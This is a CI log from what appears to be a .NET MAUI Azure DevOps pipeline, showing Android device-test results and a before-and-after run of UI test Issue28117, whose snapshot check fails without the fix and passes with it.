05-29 11:05:29.823 30623 1884 I DOTNET : [PASS] Update Frame Content Test
05-29 11:05:29.826 30623 1884 I DOTNET : [PASS] Frame BorderColor Initializes Correctly
05-29 11:05:29.917 30623 1891 I DOTNET : [PASS] Frame BorderColor Initializes Correctly
05-29 11:05:29.925 30623 1891 I DOTNET : [PASS] Frame BorderColor Initializes Correctly
05-29 11:05:30.427 30623 1897 I DOTNET : [PASS] FrameIncludesBorderThickness
05-29 11:05:30.545 30623 1904 I DOTNET : [PASS] Frame With Entry Measures
05-29 11:05:30.707 30623 1910 I DOTNET : [PASS] FrameDoesNotInterpretConstraintsAsMinimums
05-29 11:05:30.711 30623 1910 I DOTNET : [PASS] Frame BackgroundColor Initializes Correctly
05-29 11:05:30.745 30623 1915 I DOTNET : [PASS] Frame BackgroundColor Initializes Correctly
05-29 11:05:30.784 30623 1915 I DOTNET : [PASS] Frame BackgroundColor Initializes Correctly
05-29 11:05:31.338 30623 1920 I DOTNET : [PASS] Basic Frame Test
05-29 11:05:31.459 30623 1926 I DOTNET : [PASS] FramesWithinFrames
05-29 11:05:31.577 30623 1932 I DOTNET : [PASS] FramesWithinFrames
05-29 11:05:31.703 30623 1938 I DOTNET : [PASS] FramesWithinFrames
05-29 11:05:31.826 30623 1944 I DOTNET : [PASS] FramesWithinFrames
05-29 11:05:31.827 30623 1944 I DOTNET : Microsoft.Maui.DeviceTests.FrameTests 3.5384027 ms
05-29 11:05:31.827 30623 1944 I DOTNET : Test collection for Microsoft.Maui.DeviceTests.PickerTests
05-29 11:05:31.992 30623 1949 I DOTNET : [PASS] PickerBackgroundColorConsistent
05-29 11:05:32.030 30623 1949 I DOTNET : [PASS] ItemsUpdateWithCollectionChanges
05-29 11:05:32.036 30623 1949 I DOTNET : [PASS] RotationYConsistent
05-29 11:05:32.043 30623 1949 I DOTNET : [PASS] ScaleConsistent
05-29 11:05:32.048 30623 1949 I DOTNET : [PASS] VerifyPickerOpacityProperty
05-29 11:05:32.051 30623 1949 I DOTNET : [PASS] ScaleYConsistent
05-29 11:05:32.054 30623 1949 I DOTNET : [PASS] ScaleXConsistent
05-29 11:05:32.056 30623 1949 I DOTNET : [PASS] RotationXConsistent
05-29 11:05:32.061 30623 1949 I DOTNET : [PASS] ItemsUpdateWithNewItemSource
05-29 11:05:32.064 30623 1949 I DOTNET : [PASS] RotationConsistent
05-29 11:05:32.064 30623 1949 I DOTNET : Microsoft.Maui.DeviceTests.PickerTests 0.2309609 ms
05-29 11:05:32.064 30623 1949 I DOTNET : Test collection for Microsoft.Maui.DeviceTests.HybridWebViewTests_SetInvokeJavaScriptTarget
05-29 11:05:33.219 30623 1955 I DOTNET : [PASS] InvokeDotNet
05-29 11:05:34.442 30623 1961 I DOTNET : [PASS] InvokeDotNet
05-29 11:05:35.638 30623 1967 I DOTNET : [PASS] InvokeDotNet
05-29 11:05:36.855 30623 1975 I DOTNET : [PASS] InvokeDotNet
05-29 11:05:38.066 30623 1981 I DOTNET : [PASS] InvokeDotNet
05-29 11:05:39.361 30623 1987 I DOTNET : [PASS] InvokeDotNet
05-29 11:05:40.572 30623 1993 I DOTNET : [PASS] InvokeDotNet
05-29 11:05:41.767 30623 1999 I DOTNET : [PASS] InvokeDotNet
05-29 11:05:42.977 30623 2005 I DOTNET : [PASS] InvokeDotNet
05-29 11:05:44.162 30623 2011 I DOTNET : [PASS] InvokeDotNet
05-29 11:05:44.162 30623 2011 I DOTNET : Microsoft.Maui.DeviceTests.HybridWebViewTests_SetInvokeJavaScriptTarget 12.0656559 ms
05-29 11:05:44.162 30623 2011 I DOTNET : Test collection for Microsoft.Maui.DeviceTests.HybridWebViewTests_EvaluateJavaScriptAsync
05-29 11:05:44.841 30623 2017 I DOTNET : [PASS] EvaluateJavaScriptAndGetResult
05-29 11:05:44.841 30623 2017 I DOTNET : Microsoft.Maui.DeviceTests.HybridWebViewTests_EvaluateJavaScriptAsync 0.6782869 ms
05-29 11:05:44.841 30623 2017 I DOTNET : Test collection for Microsoft.Maui.DeviceTests.StaticResourceTests
05-29 11:05:44.845 30623 2017 I DOTNET : [PASS] Issue #23903: Missing ControlTemplate with exception handler should throw
05-29 11:05:44.845 30623 2017 I DOTNET : Microsoft.Maui.DeviceTests.StaticResourceTests 0.0029874 ms
05-29 11:05:44.845 30623 2017 I DOTNET : Test collection for Microsoft.Maui.DeviceTests.HybridWebViewTests_SendRawMessage
05-29 11:05:46.615 30623 2023 I DOTNET : [PASS] LoadsHtmlAndSendReceiveRawMessage
05-29 11:05:46.615 30623 2023 I DOTNET : Microsoft.Maui.DeviceTests.HybridWebViewTests_SendRawMessage 1.7612278 ms
05-29 11:05:46.615 30623 2023 I DOTNET : Test collection for Microsoft.Maui.DeviceTests.CarouselViewTests
05-29 11:05:46.948 30623 2028 I DOTNET : [PASS] HiddenCarouselViewNoCrash
05-29 11:05:47.343 30623 2034 I DOTNET : [PASS] DisconnectedCarouselViewDoesNotHookCollectionViewChanged
05-29 11:05:49.553 30623 2039 I DOTNET : [PASS] IndicatorView Provides Correct TalkBack Accessibility Description
05-29 11:05:50.857 30623 2044 I DOTNET : [PASS] Position Initializes Correctly
05-29 11:05:52.173 30623 2049 I DOTNET : [PASS] Position Initializes Correctly
05-29 11:05:53.474 30623 2054 I DOTNET : [PASS] Position Initializes Correctly
05-29 11:05:53.780 30623 2059 I DOTNET : [PASS] CarouselViewDataTemplateSelectorSelectorNoCrash
05-29 11:05:53.781 30623 2059 I DOTNET : Microsoft.Maui.DeviceTests.CarouselViewTests 7.1602947 ms
05-29 11:05:53.781 30623 2059 I DOTNET : Test collection for Microsoft.Maui.DeviceTests.VisualElementRendererTests
05-29 11:05:53.805 30623 2059 I DOTNET : [PASS] CompatibilityRendererWorksWithNoInnerContrlSpecified
05-29 11:05:53.806 30623 2059 I DOTNET : Microsoft.Maui.DeviceTests.VisualElementRendererTests 0.0243032 ms
05-29 11:05:53.806 30623 2059 I DOTNET : Test collection for Microsoft.Maui.DeviceTests.ImageTests
05-29 11:05:53.913 30623 2065 I DOTNET : [PASS] ScaleXConsistent
05-29 11:05:53.915 30623 2065 I DOTNET : [PASS] RotationConsistent
05-29 11:05:53.917 30623 2065 I DOTNET : [PASS] ScaleYConsistent
05-29 11:05:55.070 30623 2073 I DOTNET : [PASS] ImageSetFromStreamRenders
05-29 11:05:55.091 30623 2079 I DOTNET : [PASS] RotationYConsistent
05-29 11:05:55.207 30623 2084 I DOTNET : [PASS] ImageBackgroundColorConsistent
05-29 11:05:55.253 30623 2089 I DOTNET : [PASS] CachingDisabledForImagesLoadViaInputStreams
05-29 11:05:55.256 30623 2089 I DOTNET : [PASS] ScaleConsistent
05-29 11:05:55.392 30623 2094 I DOTNET : [PASS] ImageWithUndefinedSizeAndWithBackgroundSetRenders
05-29 11:05:55.446 30623 2094 I DOTNET : [PASS] VerifyImageOpacityProperty
05-29 11:05:55.449 30623 2094 I DOTNET : [PASS] RotationXConsistent
05-29 11:05:55.449 30623 2094 I DOTNET : Microsoft.Maui.DeviceTests.ImageTests 1.6318039 ms
05-29 11:05:55.449 30623 2094 I DOTNET : Test collection for Microsoft.Maui.DeviceTests.MapperTests
05-29 11:05:55.452 30623 2094 I DOTNET : [PASS] ValidateMapperGenerics
05-29 11:05:55.452 30623 2094 I DOTNET : [PASS] ValidateMapperGenerics
05-29 11:05:55.452 30623 2094 I DOTNET : Microsoft.Maui.DeviceTests.MapperTests 0.0009907 ms
05-29 11:05:55.452 30623 2094 I DOTNET : Test collection for Microsoft.Maui.DeviceTests.HybridWebViewTests_Initialization
05-29 11:05:56.110 30623 2100 I DOTNET : [PASS] CanSetUserAgentUsingProperties
05-29 11:05:56.828 30623 2106 I DOTNET : [PASS] CanSetUserAgentUsingInitializingEvent
05-29 11:05:57.491 30623 2113 I DOTNET : [PASS] InitializedEventIsRaised
05-29 11:05:58.193 30623 2120 I DOTNET : [PASS] InitializingEventIsRaised
05-29 11:05:58.838 30623 2127 I DOTNET : [PASS] InitializingEventIsRaisedAndPropertiesSetAreApplied
05-29 11:05:58.838 30623 2127 I DOTNET : Microsoft.Maui.DeviceTests.HybridWebViewTests_Initialization 3.3823530 ms
05-29 11:05:58.907 30623 1636 I DOTNET : Xml file was written to the provided writer.
05-29 11:05:58.908 30623 1636 I DOTNET : Tests run: 955 Passed: 942 Inconclusive: 0 Failed: 0 Ignored: 0
�[40m�[32minfo�[39m�[22m�[49m: <<XHARNESS_RESULT_START>>
{
"version": 1,
"machineName": "runnervmm79r7",
"exitCode": 0,
"exitCodeName": "SUCCESS",
"platform": "android",
"instrumentationExitCode": 0,
"device": "emulator-5554",
"deviceOsVersion": "API 30",
"architecture": "x86_64",
"files": [
{
"name": "testResults.xml",
"type": "test-results"
},
{
"name": "adb-logcat-com.microsoft.maui.controls.devicetests-default.log",
"type": "logcat"
}
]
}
<<XHARNESS_RESULT_END>>
�[40m�[32minfo�[39m�[22m�[49m: Attempting to remove apk 'com.microsoft.maui.controls.devicetests'..
�[40m�[37mdbug�[39m�[22m�[49m: Executing command: '/home/vsts/.nuget/packages/microsoft.dotnet.xharness.cli/11.0.0-prerelease.26230.4/runtimes/any/native/adb/linux/adb -s emulator-5554 uninstall com.microsoft.maui.controls.devicetests'
�[40m�[32minfo�[39m�[22m�[49m: Successfully uninstalled com.microsoft.maui.controls.devicetests
XHarness exit code: 0
Tests completed successfully
🔴 Without fix — 🖥️ Issue28117: FAIL ✅ · 656s
Determining projects to restore...
Restored /home/vsts/work/1/s/src/Graphics/src/Graphics/Graphics.csproj (in 1.16 sec).
Restored /home/vsts/work/1/s/src/Essentials/src/Essentials.csproj (in 1.16 sec).
Restored /home/vsts/work/1/s/src/Core/maps/src/Maps.csproj (in 243 ms).
Restored /home/vsts/work/1/s/src/Core/src/Core.csproj (in 318 ms).
Restored /home/vsts/work/1/s/src/Controls/src/Xaml/Controls.Xaml.csproj (in 76 ms).
Restored /home/vsts/work/1/s/src/Controls/src/Core/Controls.Core.csproj (in 55 ms).
Restored /home/vsts/work/1/s/src/Controls/src/BindingSourceGen/Controls.BindingSourceGen.csproj (in 74 ms).
Restored /home/vsts/work/1/s/src/Controls/Maps/src/Controls.Maps.csproj (in 83 ms).
Restored /home/vsts/work/1/s/src/Controls/Foldable/src/Controls.Foldable.csproj (in 615 ms).
Restored /home/vsts/work/1/s/src/BlazorWebView/src/Maui/Microsoft.AspNetCore.Components.WebView.Maui.csproj (in 232 ms).
Restored /home/vsts/work/1/s/src/Controls/tests/TestCases.HostApp/Controls.TestCases.HostApp.csproj (in 1.64 sec).
##vso[build.updatebuildnumber]10.0.80-ci+azdo.14232462
Graphics -> /home/vsts/work/1/s/artifacts/bin/Graphics/Debug/net10.0-android36.0/Microsoft.Maui.Graphics.dll
##vso[build.updatebuildnumber]10.0.80-ci+azdo.14232462
Essentials -> /home/vsts/work/1/s/artifacts/bin/Essentials/Debug/net10.0-android36.0/Microsoft.Maui.Essentials.dll
##vso[build.updatebuildnumber]10.0.80-ci+azdo.14232462
Core -> /home/vsts/work/1/s/artifacts/bin/Core/Debug/net10.0-android36.0/Microsoft.Maui.dll
Controls.BindingSourceGen -> /home/vsts/work/1/s/artifacts/bin/Controls.BindingSourceGen/Debug/netstandard2.0/Microsoft.Maui.Controls.BindingSourceGen.dll
##vso[build.updatebuildnumber]10.0.80-ci+azdo.14232462
##vso[build.updatebuildnumber]10.0.80-ci+azdo.14232462
Maps -> /home/vsts/work/1/s/artifacts/bin/Maps/Debug/net10.0-android36.0/Microsoft.Maui.Maps.dll
Controls.Core -> /home/vsts/work/1/s/artifacts/bin/Controls.Core/Debug/net10.0-android36.0/Microsoft.Maui.Controls.dll
##vso[build.updatebuildnumber]10.0.80-ci+azdo.14232462
##vso[build.updatebuildnumber]10.0.80-ci+azdo.14232462
Controls.Xaml -> /home/vsts/work/1/s/artifacts/bin/Controls.Xaml/Debug/net10.0-android36.0/Microsoft.Maui.Controls.Xaml.dll
Microsoft.AspNetCore.Components.WebView.Maui -> /home/vsts/work/1/s/artifacts/bin/Microsoft.AspNetCore.Components.WebView.Maui/Debug/net10.0-android36.0/Microsoft.AspNetCore.Components.WebView.Maui.dll
##vso[build.updatebuildnumber]10.0.80-ci+azdo.14232462
Controls.Foldable -> /home/vsts/work/1/s/artifacts/bin/Controls.Foldable/Debug/net10.0-android36.0/Microsoft.Maui.Controls.Foldable.dll
##vso[build.updatebuildnumber]10.0.80-ci+azdo.14232462
Controls.Maps -> /home/vsts/work/1/s/artifacts/bin/Controls.Maps/Debug/net10.0-android36.0/Microsoft.Maui.Controls.Maps.dll
Controls.TestCases.HostApp -> /home/vsts/work/1/s/artifacts/bin/Controls.TestCases.HostApp/Debug/net10.0-android/Controls.TestCases.HostApp.dll
##vso[build.updatebuildnumber]10.0.80-ci+azdo.14232462
Graphics -> /home/vsts/work/1/s/artifacts/bin/Controls.TestCases.HostApp/Debug/net10.0-android/Microsoft.Maui.Graphics.dll
##vso[build.updatebuildnumber]10.0.80-ci+azdo.14232462
Essentials -> /home/vsts/work/1/s/artifacts/bin/Controls.TestCases.HostApp/Debug/net10.0-android/Microsoft.Maui.Essentials.dll
##vso[build.updatebuildnumber]10.0.80-ci+azdo.14232462
Core -> /home/vsts/work/1/s/artifacts/bin/Controls.TestCases.HostApp/Debug/net10.0-android/Microsoft.Maui.dll
Controls.BindingSourceGen -> /home/vsts/work/1/s/artifacts/bin/Controls.BindingSourceGen/Debug/netstandard2.0/Microsoft.Maui.Controls.BindingSourceGen.dll
##vso[build.updatebuildnumber]10.0.80-ci+azdo.14232462
##vso[build.updatebuildnumber]10.0.80-ci+azdo.14232462
Maps -> /home/vsts/work/1/s/artifacts/bin/Controls.TestCases.HostApp/Debug/net10.0-android/Microsoft.Maui.Maps.dll
Controls.Core -> /home/vsts/work/1/s/artifacts/bin/Controls.TestCases.HostApp/Debug/net10.0-android/Microsoft.Maui.Controls.dll
##vso[build.updatebuildnumber]10.0.80-ci+azdo.14232462
##vso[build.updatebuildnumber]10.0.80-ci+azdo.14232462
Controls.Foldable -> /home/vsts/work/1/s/artifacts/bin/Controls.TestCases.HostApp/Debug/net10.0-android/Microsoft.Maui.Controls.Foldable.dll
Controls.Xaml -> /home/vsts/work/1/s/artifacts/bin/Controls.TestCases.HostApp/Debug/net10.0-android/Microsoft.Maui.Controls.Xaml.dll
##vso[build.updatebuildnumber]10.0.80-ci+azdo.14232462
##vso[build.updatebuildnumber]10.0.80-ci+azdo.14232462
Microsoft.AspNetCore.Components.WebView.Maui -> /home/vsts/work/1/s/artifacts/bin/Controls.TestCases.HostApp/Debug/net10.0-android/Microsoft.AspNetCore.Components.WebView.Maui.dll
Controls.Maps -> /home/vsts/work/1/s/artifacts/bin/Controls.TestCases.HostApp/Debug/net10.0-android/Microsoft.Maui.Controls.Maps.dll
Build succeeded.
0 Warning(s)
0 Error(s)
Time Elapsed 00:08:05.42
Broadcasting: Intent { act=android.intent.action.CLOSE_SYSTEM_DIALOGS flg=0x400000 }
Broadcast completed: result=0
Determining projects to restore...
Restored /home/vsts/work/1/s/src/TestUtils/src/UITest.NUnit/UITest.NUnit.csproj (in 2.13 sec).
Restored /home/vsts/work/1/s/src/TestUtils/src/UITest.Core/UITest.Core.csproj (in 4 ms).
Restored /home/vsts/work/1/s/src/TestUtils/src/UITest.Appium/UITest.Appium.csproj (in 1.91 sec).
Restored /home/vsts/work/1/s/src/TestUtils/src/VisualTestUtils.MagickNet/VisualTestUtils.MagickNet.csproj (in 5.93 sec).
Restored /home/vsts/work/1/s/src/TestUtils/src/UITest.Analyzers/UITest.Analyzers.csproj (in 2.21 sec).
Restored /home/vsts/work/1/s/src/Controls/tests/CustomAttributes/Controls.CustomAttributes.csproj (in 6 ms).
Restored /home/vsts/work/1/s/src/TestUtils/src/VisualTestUtils/VisualTestUtils.csproj (in 3 ms).
Restored /home/vsts/work/1/s/src/Controls/tests/TestCases.Android.Tests/Controls.TestCases.Android.Tests.csproj (in 1.11 sec).
5 of 13 projects are up-to-date for restore.
##vso[build.updatebuildnumber]10.0.80-ci+azdo.14232462
Graphics -> /home/vsts/work/1/s/artifacts/bin/Graphics/Debug/net10.0/Microsoft.Maui.Graphics.dll
##vso[build.updatebuildnumber]10.0.80-ci+azdo.14232462
Essentials -> /home/vsts/work/1/s/artifacts/bin/Essentials/Debug/net10.0/Microsoft.Maui.Essentials.dll
Controls.CustomAttributes -> /home/vsts/work/1/s/artifacts/bin/Controls.CustomAttributes/Debug/net10.0/Controls.CustomAttributes.dll
##vso[build.updatebuildnumber]10.0.80-ci+azdo.14232462
Core -> /home/vsts/work/1/s/artifacts/bin/Core/Debug/net10.0/Microsoft.Maui.dll
Controls.BindingSourceGen -> /home/vsts/work/1/s/artifacts/bin/Controls.BindingSourceGen/Debug/netstandard2.0/Microsoft.Maui.Controls.BindingSourceGen.dll
##vso[build.updatebuildnumber]10.0.80-ci+azdo.14232462
Controls.Core -> /home/vsts/work/1/s/artifacts/bin/Controls.Core/Debug/net10.0/Microsoft.Maui.Controls.dll
UITest.Core -> /home/vsts/work/1/s/artifacts/bin/UITest.Core/Debug/net10.0/UITest.Core.dll
VisualTestUtils -> /home/vsts/work/1/s/artifacts/bin/VisualTestUtils/Debug/netstandard2.0/VisualTestUtils.dll
UITest.NUnit -> /home/vsts/work/1/s/artifacts/bin/UITest.NUnit/Debug/net10.0/UITest.NUnit.dll
VisualTestUtils.MagickNet -> /home/vsts/work/1/s/artifacts/bin/VisualTestUtils.MagickNet/Debug/netstandard2.0/VisualTestUtils.MagickNet.dll
UITest.Appium -> /home/vsts/work/1/s/artifacts/bin/UITest.Appium/Debug/net10.0/UITest.Appium.dll
UITest.Analyzers -> /home/vsts/work/1/s/artifacts/bin/UITest.Analyzers/Debug/netstandard2.0/UITest.Analyzers.dll
Controls.TestCases.Android.Tests -> /home/vsts/work/1/s/artifacts/bin/Controls.TestCases.Android.Tests/Debug/net10.0/Controls.TestCases.Android.Tests.dll
Test run for /home/vsts/work/1/s/artifacts/bin/Controls.TestCases.Android.Tests/Debug/net10.0/Controls.TestCases.Android.Tests.dll (.NETCoreApp,Version=v10.0)
VSTest version 18.0.1 (x64)
Starting test execution, please wait...
A total of 1 test files matched the specified pattern.
[xUnit.net 00:00:00.00] xUnit.net VSTest Adapter v2.8.2+699d445a1a (64-bit .NET 10.0.0)
[xUnit.net 00:00:00.13] Discovering: Controls.TestCases.Android.Tests
[xUnit.net 00:00:00.41] Discovered: Controls.TestCases.Android.Tests
NUnit Adapter 4.5.0.0: Test execution started
Running selected tests in /home/vsts/work/1/s/artifacts/bin/Controls.TestCases.Android.Tests/Debug/net10.0/Controls.TestCases.Android.Tests.dll
NUnit3TestExecutor discovered 1 of 1 NUnit test cases using Current Discovery mode, Non-Explicit run
>>>>> 05/29/2026 15:31:12 FixtureSetup for Issue28117(Android)
>>>>> 05/29/2026 15:31:13 ShouldDisplayLabelWithoutBeingCroppedInsideBorder Start
>>>>> 05/29/2026 15:31:19 ShouldDisplayLabelWithoutBeingCroppedInsideBorder Stop
>>>>> 05/29/2026 15:31:19 Log types: logcat, bugreport, server
Failed ShouldDisplayLabelWithoutBeingCroppedInsideBorder [6 s]
Error Message:
VisualTestUtils.VisualTestFailedException :
Snapshot different than baseline: ShouldDisplayLabelWithoutBeingCroppedInsideBorder.png (1.86% difference)
If the correct baseline has changed (this isn't a a bug), then update the baseline image.
See test attachment or download the build artifacts to get the new snapshot file.
More info: https://aka.ms/visual-test-workflow
Stack Trace:
at VisualTestUtils.VisualRegressionTester.Fail(String message) in /_/src/TestUtils/src/VisualTestUtils/VisualRegressionTester.cs:line 162
at VisualTestUtils.VisualRegressionTester.VerifyMatchesSnapshot(String name, ImageSnapshot actualImage, String environmentName, ITestContext testContext) in /_/src/TestUtils/src/VisualTestUtils/VisualRegressionTester.cs:line 123
at Microsoft.Maui.TestCases.Tests.UITest.<VerifyScreenshot>g__Verify|13_0(String name, <>c__DisplayClass13_0&) in /_/src/Controls/tests/TestCases.Shared.Tests/UITest.cs:line 477
at Microsoft.Maui.TestCases.Tests.UITest.VerifyScreenshot(String name, Nullable`1 retryDelay, Nullable`1 retryTimeout, Int32 cropLeft, Int32 cropRight, Int32 cropTop, Int32 cropBottom, Double tolerance) in /_/src/Controls/tests/TestCases.Shared.Tests/UITest.cs:line 309
at Microsoft.Maui.TestCases.Tests.Issues.Issue28117.ShouldDisplayLabelWithoutBeingCroppedInsideBorder() in /_/src/Controls/tests/TestCases.Shared.Tests/Tests/Issues/Issue28117.cs:line 19
at System.Reflection.MethodBaseInvoker.InterpretedInvoke_Method(Object obj, IntPtr* args)
at System.Reflection.MethodBaseInvoker.InvokeWithNoArgs(Object obj, BindingFlags invokeAttr)
NUnit Adapter 4.5.0.0: Test execution complete
Results File: /home/vsts/work/1/s/CustomAgentLogsTmp/UITests/TestResults/Issue28117.trx
Total tests: 1
Failed: 1
Test Run Failed.
Total time: 32.5118 Seconds
>>> TRX_RESULT_FILE: /home/vsts/work/1/s/CustomAgentLogsTmp/UITests/TestResults/Issue28117.trx
🟢 With fix — 🖥️ Issue28117: PASS ✅ · 596s
Determining projects to restore...
Restored /home/vsts/work/1/s/src/Graphics/src/Graphics/Graphics.csproj (in 1.03 sec).
Restored /home/vsts/work/1/s/src/Essentials/src/Essentials.csproj (in 1.03 sec).
Restored /home/vsts/work/1/s/src/Controls/src/Core/Controls.Core.csproj (in 283 ms).
Restored /home/vsts/work/1/s/src/Core/src/Core.csproj (in 359 ms).
Restored /home/vsts/work/1/s/src/Controls/src/BindingSourceGen/Controls.BindingSourceGen.csproj (in 65 ms).
Restored /home/vsts/work/1/s/src/Core/maps/src/Maps.csproj (in 69 ms).
Restored /home/vsts/work/1/s/src/Controls/Maps/src/Controls.Maps.csproj (in 138 ms).
Restored /home/vsts/work/1/s/src/Controls/src/Xaml/Controls.Xaml.csproj (in 49 ms).
3 of 11 projects are up-to-date for restore.
##vso[build.updatebuildnumber]10.0.80-ci+azdo.14232462
Graphics -> /home/vsts/work/1/s/artifacts/bin/Graphics/Debug/net10.0-android36.0/Microsoft.Maui.Graphics.dll
##vso[build.updatebuildnumber]10.0.80-ci+azdo.14232462
Essentials -> /home/vsts/work/1/s/artifacts/bin/Essentials/Debug/net10.0-android36.0/Microsoft.Maui.Essentials.dll
##vso[build.updatebuildnumber]10.0.80-ci+azdo.14232462
Core -> /home/vsts/work/1/s/artifacts/bin/Core/Debug/net10.0-android36.0/Microsoft.Maui.dll
Controls.BindingSourceGen -> /home/vsts/work/1/s/artifacts/bin/Controls.BindingSourceGen/Debug/netstandard2.0/Microsoft.Maui.Controls.BindingSourceGen.dll
##vso[build.updatebuildnumber]10.0.80-ci+azdo.14232462
##vso[build.updatebuildnumber]10.0.80-ci+azdo.14232462
Maps -> /home/vsts/work/1/s/artifacts/bin/Maps/Debug/net10.0-android36.0/Microsoft.Maui.Maps.dll
Controls.Core -> /home/vsts/work/1/s/artifacts/bin/Controls.Core/Debug/net10.0-android36.0/Microsoft.Maui.Controls.dll
##vso[build.updatebuildnumber]10.0.80-ci+azdo.14232462
##vso[build.updatebuildnumber]10.0.80-ci+azdo.14232462
##vso[build.updatebuildnumber]10.0.80-ci+azdo.14232462
##vso[build.updatebuildnumber]10.0.80-ci+azdo.14232462
Controls.Xaml -> /home/vsts/work/1/s/artifacts/bin/Controls.Xaml/Debug/net10.0-android36.0/Microsoft.Maui.Controls.Xaml.dll
Controls.Foldable -> /home/vsts/work/1/s/artifacts/bin/Controls.Foldable/Debug/net10.0-android36.0/Microsoft.Maui.Controls.Foldable.dll
Controls.Maps -> /home/vsts/work/1/s/artifacts/bin/Controls.Maps/Debug/net10.0-android36.0/Microsoft.Maui.Controls.Maps.dll
Microsoft.AspNetCore.Components.WebView.Maui -> /home/vsts/work/1/s/artifacts/bin/Microsoft.AspNetCore.Components.WebView.Maui/Debug/net10.0-android36.0/Microsoft.AspNetCore.Components.WebView.Maui.dll
Controls.TestCases.HostApp -> /home/vsts/work/1/s/artifacts/bin/Controls.TestCases.HostApp/Debug/net10.0-android/Controls.TestCases.HostApp.dll
##vso[build.updatebuildnumber]10.0.80-ci+azdo.14232462
Graphics -> /home/vsts/work/1/s/artifacts/bin/Controls.TestCases.HostApp/Debug/net10.0-android/Microsoft.Maui.Graphics.dll
##vso[build.updatebuildnumber]10.0.80-ci+azdo.14232462
Essentials -> /home/vsts/work/1/s/artifacts/bin/Controls.TestCases.HostApp/Debug/net10.0-android/Microsoft.Maui.Essentials.dll
##vso[build.updatebuildnumber]10.0.80-ci+azdo.14232462
Core -> /home/vsts/work/1/s/artifacts/bin/Controls.TestCases.HostApp/Debug/net10.0-android/Microsoft.Maui.dll
##vso[build.updatebuildnumber]10.0.80-ci+azdo.14232462
Controls.BindingSourceGen -> /home/vsts/work/1/s/artifacts/bin/Controls.BindingSourceGen/Debug/netstandard2.0/Microsoft.Maui.Controls.BindingSourceGen.dll
Maps -> /home/vsts/work/1/s/artifacts/bin/Controls.TestCases.HostApp/Debug/net10.0-android/Microsoft.Maui.Maps.dll
##vso[build.updatebuildnumber]10.0.80-ci+azdo.14232462
Controls.Core -> /home/vsts/work/1/s/artifacts/bin/Controls.TestCases.HostApp/Debug/net10.0-android/Microsoft.Maui.Controls.dll
##vso[build.updatebuildnumber]10.0.80-ci+azdo.14232462
##vso[build.updatebuildnumber]10.0.80-ci+azdo.14232462
##vso[build.updatebuildnumber]10.0.80-ci+azdo.14232462
##vso[build.updatebuildnumber]10.0.80-ci+azdo.14232462
Controls.Foldable -> /home/vsts/work/1/s/artifacts/bin/Controls.TestCases.HostApp/Debug/net10.0-android/Microsoft.Maui.Controls.Foldable.dll
Microsoft.AspNetCore.Components.WebView.Maui -> /home/vsts/work/1/s/artifacts/bin/Controls.TestCases.HostApp/Debug/net10.0-android/Microsoft.AspNetCore.Components.WebView.Maui.dll
Controls.Xaml -> /home/vsts/work/1/s/artifacts/bin/Controls.TestCases.HostApp/Debug/net10.0-android/Microsoft.Maui.Controls.Xaml.dll
Controls.Maps -> /home/vsts/work/1/s/artifacts/bin/Controls.TestCases.HostApp/Debug/net10.0-android/Microsoft.Maui.Controls.Maps.dll
Build succeeded.
0 Warning(s)
0 Error(s)
Time Elapsed 00:07:39.29
Broadcasting: Intent { act=android.intent.action.CLOSE_SYSTEM_DIALOGS flg=0x400000 }
Broadcast completed: result=0
Determining projects to restore...
All projects are up-to-date for restore.
Controls.CustomAttributes -> /home/vsts/work/1/s/artifacts/bin/Controls.CustomAttributes/Debug/net10.0/Controls.CustomAttributes.dll
##vso[build.updatebuildnumber]10.0.80-ci+azdo.14232462
Graphics -> /home/vsts/work/1/s/artifacts/bin/Graphics/Debug/net10.0/Microsoft.Maui.Graphics.dll
##vso[build.updatebuildnumber]10.0.80-ci+azdo.14232462
Essentials -> /home/vsts/work/1/s/artifacts/bin/Essentials/Debug/net10.0/Microsoft.Maui.Essentials.dll
##vso[build.updatebuildnumber]10.0.80-ci+azdo.14232462
Core -> /home/vsts/work/1/s/artifacts/bin/Core/Debug/net10.0/Microsoft.Maui.dll
Controls.BindingSourceGen -> /home/vsts/work/1/s/artifacts/bin/Controls.BindingSourceGen/Debug/netstandard2.0/Microsoft.Maui.Controls.BindingSourceGen.dll
##vso[build.updatebuildnumber]10.0.80-ci+azdo.14232462
Controls.Core -> /home/vsts/work/1/s/artifacts/bin/Controls.Core/Debug/net10.0/Microsoft.Maui.Controls.dll
UITest.Core -> /home/vsts/work/1/s/artifacts/bin/UITest.Core/Debug/net10.0/UITest.Core.dll
VisualTestUtils -> /home/vsts/work/1/s/artifacts/bin/VisualTestUtils/Debug/netstandard2.0/VisualTestUtils.dll
UITest.Appium -> /home/vsts/work/1/s/artifacts/bin/UITest.Appium/Debug/net10.0/UITest.Appium.dll
VisualTestUtils.MagickNet -> /home/vsts/work/1/s/artifacts/bin/VisualTestUtils.MagickNet/Debug/netstandard2.0/VisualTestUtils.MagickNet.dll
UITest.NUnit -> /home/vsts/work/1/s/artifacts/bin/UITest.NUnit/Debug/net10.0/UITest.NUnit.dll
UITest.Analyzers -> /home/vsts/work/1/s/artifacts/bin/UITest.Analyzers/Debug/netstandard2.0/UITest.Analyzers.dll
Controls.TestCases.Android.Tests -> /home/vsts/work/1/s/artifacts/bin/Controls.TestCases.Android.Tests/Debug/net10.0/Controls.TestCases.Android.Tests.dll
Test run for /home/vsts/work/1/s/artifacts/bin/Controls.TestCases.Android.Tests/Debug/net10.0/Controls.TestCases.Android.Tests.dll (.NETCoreApp,Version=v10.0)
VSTest version 18.0.1 (x64)
Starting test execution, please wait...
A total of 1 test files matched the specified pattern.
[xUnit.net 00:00:00.00] xUnit.net VSTest Adapter v2.8.2+699d445a1a (64-bit .NET 10.0.0)
[xUnit.net 00:00:00.13] Discovering: Controls.TestCases.Android.Tests
[xUnit.net 00:00:00.36] Discovered: Controls.TestCases.Android.Tests
NUnit Adapter 4.5.0.0: Test execution started
Running selected tests in /home/vsts/work/1/s/artifacts/bin/Controls.TestCases.Android.Tests/Debug/net10.0/Controls.TestCases.Android.Tests.dll
NUnit3TestExecutor discovered 1 of 1 NUnit test cases using Current Discovery mode, Non-Explicit run
>>>>> 05/29/2026 16:15:47 FixtureSetup for Issue28117(Android)
>>>>> 05/29/2026 16:15:48 ShouldDisplayLabelWithoutBeingCroppedInsideBorder Start
>>>>> 05/29/2026 16:15:52 ShouldDisplayLabelWithoutBeingCroppedInsideBorder Stop
Passed ShouldDisplayLabelWithoutBeingCroppedInsideBorder [4 s]
NUnit Adapter 4.5.0.0: Test execution complete
Results File: /home/vsts/work/1/s/CustomAgentLogsTmp/UITests/TestResults/Issue28117.trx
Test Run Successful.
Total tests: 1
